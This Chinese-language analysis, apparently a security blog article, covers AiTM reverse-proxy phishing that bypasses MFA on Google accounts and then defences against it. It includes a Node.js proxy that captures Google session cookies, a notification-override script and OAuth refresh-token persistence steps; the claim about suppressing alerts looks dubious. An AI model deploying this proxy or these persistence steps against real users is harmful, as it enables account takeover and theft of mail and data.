摘要
本文系统分析了一类针对Google账户的新型高级钓鱼攻击，其核心特征在于利用实时反向代理（Adversary-in-the-Middle, AiTM）技术，在用户完成完整身份验证流程（包括多因素认证MFA）后，实时截获并重放会话令牌或OAuth授权码，从而实现对合法账户的完全接管。此类攻击通过高度仿真的登录页面、浏览器指纹采集、地理延迟模拟及设备通知抑制等增强手段，显著规避传统风控机制。文章首先复现攻击链路，详细解析代理转发逻辑与令牌捕获机制；继而剖析攻击者如何利用OAuth授权进行持久化驻留与横向扩散；随后提出多层次防御体系，涵盖终端验证强化、会话行为监控、第三方应用治理及邮件层检测策略；并通过Python与JavaScript代码示例展示代理实现原理与检测规则构建方法。研究表明，仅依赖MFA已不足以抵御此类攻击，必须结合硬件安全密钥、条件访问策略与异常行为分析，构建纵深防御能力。
关键词：Gmail钓鱼；实时反向代理；AiTM；OAuth劫持；多因素认证绕过；会话令牌窃取；条件访问
1 引言
尽管多因素认证（MFA）被广泛视为提升账户安全的关键措施，近年来针对云服务账户的钓鱼攻击已演化出可有效绕过MFA的新范式。其中，以“实时反向代理”（Adversary-in-the-Middle, AiTM）为核心的攻击技术尤为突出。该技术不再试图窃取静态密码，而是通过在用户与真实服务之间插入透明代理，实时转发所有交互流量，在用户完成完整认证（包括输入一次性验证码、推送批准或生物识别）后，立即提取有效的会话Cookie或OAuth刷新令牌，从而获得与合法用户等效的访问权限。
2025年披露的多起针对Gmail用户的钓鱼活动即采用此模式。攻击者发送伪装成“Google账户安全提醒”或“服务条款更新”的邮件，诱导用户点击链接进入高保真仿冒登录页。该页面并非静态表单，而是动态代理至真实的accounts.google.com，并将用户输入及MFA响应实时转发。由于整个认证过程发生在真实Google域名下（通过iframe或透明跳转），传统基于URL黑名单或页面相似度的检测机制难以识别。更甚者，攻击者在成功劫持会话后，主动抑制Google向用户设备发送的“新设备登录”通知，进一步降低暴露风险。
此类攻击的成功率显著高于传统钓鱼，且对启用了MFA的高价值目标（如企业高管、开发者）构成直接威胁。本文旨在深入剖析其技术机理，评估现有防御措施的局限性，并提出可落地的技术与管理对策。全文结构如下：第二部分详述AiTM攻击原理与实现；第三部分分析OAuth授权滥用与二次扩散机制；第四部分构建检测与防御框架；第五部分通过代码示例验证关键环节；第六部分总结实践启示。
2 实时反向代理（AiTM）攻击原理
2.1 攻击架构
典型AiTM钓鱼基础设施包含三个组件：
钓鱼前端（Phishing Frontend）：部署于攻击者控制的域名（如google-security-alert[.]com），呈现与Google登录页像素级一致的界面；
反向代理服务器（Reverse Proxy）：接收前端请求，实时转发至https://accounts.google.com，并将响应回传给受害者；
令牌捕获模块（Token Interceptor）：在代理过程中监听特定HTTP响应头或Cookie字段，提取SID、HSID、SSID等会话标识，或OAuth授权码。
整个流程对用户透明——其浏览器地址栏可能短暂显示攻击者域名，但很快跳转至真实Google页面（通过302重定向或iframe嵌入），造成“正在安全登录”的错觉。
2.2 代理实现机制
攻击者通常使用轻量级Web框架（如Node.js + Express）构建代理。核心逻辑如下：
// aiTM_proxy.js (简化示例)
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
// 存储会话令牌的内存字典（实际中可能写入数据库）
let stolenTokens = {};
app.use('/login', createProxyMiddleware({
target: 'https://accounts.google.com',
changeOrigin: true,
onProxyRes: (proxyRes, req, res) => {
// 检查Set-Cookie头，提取Google会话Cookie
const cookies = proxyRes.headers['set-cookie'];
if (cookies) {
const sessionCookies = cookies.filter(c =>
c.includes('SID=') || c.includes('HSID=') || c.includes('SSID=')
);
if (sessionCookies.length > 0) {
const victimIP = req.ip;
stolenTokens[victimIP] = sessionCookies.join('; ');
console.log(`[+] Captured session for ${victimIP}`);
}
}
},
onProxyReq: (proxyReq, req, res) => {
// 可选：注入JS抑制通知（见第3节）
}
}));
app.listen(443, () => console.log('AiTM Proxy Running'));
当用户完成MFA后，Google服务器返回包含有效会话Cookie的响应，代理服务器在此刻完成令牌窃取。
2.3 规避风控的增强技术
浏览器指纹采集：前端页面加载时执行JavaScript，收集User-Agent、屏幕分辨率、时区、Canvas渲染特征等，确保代理请求与受害者环境一致，避免触发Google的异常设备检测。
地理延迟模拟：代理服务器根据受害者IP地理位置选择就近出口节点（如通过Cloudflare Workers），使请求延迟符合正常用户行为分布。
通知抑制：在代理响应中注入脚本，拦截Google的推送通知API调用：
// 注入到Google页面的JS（通过onProxyReq修改HTML）
window.Notification = {
requestPermission: () => Promise.resolve('denied'),
permission: 'denied'
};
此举阻止浏览器弹出“新设备登录”提示，降低用户警觉。
3 OAuth授权滥用与账户持久化
3.1 初始访问后的横向操作
攻击者获取会话Cookie后，可直接访问mail.google.com、drive.google.com等服务。但更危险的是利用Google的OAuth 2.0授权机制申请长期访问权限。
通过访问https://accounts.google.com/o/oauth2/v2/auth，攻击者可诱导（或静默）用户授权恶意第三方应用。即使用户未主动操作，攻击者也可利用已窃取的会话发起授权请求，并在后台自动批准（因会话有效）。
3.2 刷新令牌持久化
一旦OAuth授权完成，攻击者即可获得refresh_token，该令牌有效期可达数月甚至永久（取决于应用权限）。即使用户更改密码或注销会话，只要未显式撤销该应用授权，攻击者仍可凭refresh_token获取新的access_token，维持对账户的控制。
典型OAuth滥用流程：
使用窃取会话访问https://myaccount.google.com/permissions；
查找高权限应用（如“Full Gmail access”）；
若无，则注册新OAuth客户端（需攻击者自有Google Cloud项目）；
发起授权请求并自动批准；
提取refresh_token存档。
4 防御体系构建
4.1 终端验证强化
启用安全密钥（Security Key）或Passkey：FIDO2/WebAuthn协议将认证绑定至物理设备，即使会话被代理，攻击者无法完成密钥握手，从根本上阻断AiTM有效性。
禁用短信/语音MFA：因其易受SIM交换攻击，且在AiTM中可被实时转发。
4.2 会话行为监控
组织应部署以下检测规则：
Impossible Travel：同一账户在短时间内出现在地理距离过远的两个位置（如北京→纽约<1小时）；
异常会话并行：合法用户活跃期间，出现来自未知设备/浏览器的并发会话；
OAuth授权突增：单日内新增多个第三方应用授权。
可通过Google Workspace Admin Console或SIEM系统（如Splunk）实现告警。
4.3 第三方应用治理
定期审计myaccount.google.com/permissions，移除未识别或低信任应用；
在Admin Console中配置OAuth同意屏幕策略，限制用户可授权的范围；
启用“敏感API访问审核”，对Gmail、Drive等高危权限实施审批制。
4.4 邮件层防御
部署邮件安全网关，识别“政策更新”、“安全提醒”等高频钓鱼模板；
启用DMARC严格模式（p=reject），防止发件人伪造；
对含短链接或非官方域名的邮件自动添加警告横幅。
4.5 条件访问策略（Conditional Access）
企业应结合Microsoft Entra ID（原Azure AD）或Google BeyondCorp Enterprise，实施基于设备合规性的访问控制：
仅允许注册设备访问Gmail；
要求设备满足加密、OS版本、EDR安装等基线；
对非合规设备强制执行MFA+安全密钥。
5 关键环节代码验证
5.1 检测异常OAuth授权（Python）
import requests
from datetime import datetime, timedelta
def check_suspicious_oauth(user_email, admin_token):
url = f"https://admin.googleapis.com/admin/reports/v1/activity/users/{user_email}/applications/2"
headers = {"Authorization": f"Bearer {admin_token}"}
params = {"startTime": (datetime.utcnow() - timedelta(hours=24)).isoformat() + "Z"}
resp = requests.get(url, headers=headers, params=params)
activities = resp.json().get("items", [])
for act in activities:
if act["events"][0]["name"] == "authorize_application":
app_name = act["events"][0]["parameters"][0]["value"]
ip_addr = act["ipAddress"]
print(f"[ALERT] New OAuth app '{app_name}' authorized from {ip_addr}")
# 可集成至SOAR自动撤销
5.2 用户端地址栏校验建议
教育用户养成习惯：任何Google登录必须确保浏览器地址栏为 https://accounts.google.com/... 且域名经绿色锁验证。攻击者域名（如google-security-alert.com）即使使用HTTPS，也无法获得Google官方证书。
6 结论
基于实时反向代理的Gmail钓鱼攻击代表了身份安全威胁的新阶段。其核心突破在于将MFA从“终极防线”降级为“中间步骤”，通过会话层劫持实现绕过。本文研究表明，防御此类攻击不能依赖单一技术，而需构建覆盖认证、会话、授权与行为分析的多层体系。
关键结论包括：第一，安全密钥是目前最有效的AiTM缓解手段；第二，OAuth授权管理常被忽视，却是持久化关键入口；第三，用户教育需聚焦于地址栏验证而非仅警惕“可疑邮件”；第四，企业必须将设备合规性纳入访问决策。
未来，随着Passkey普及与零信任架构深化，此类攻击成本将显著上升。但在过渡期内，安全团队需保持对会话令牌生命周期的全程可见性，并建立快速撤销机制。唯有如此，方能在攻击者与合法用户之间重新建立不可逾越的信任边界。
编辑：芦笛（公共互联网反网络钓鱼工作组）
扫一扫
956
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
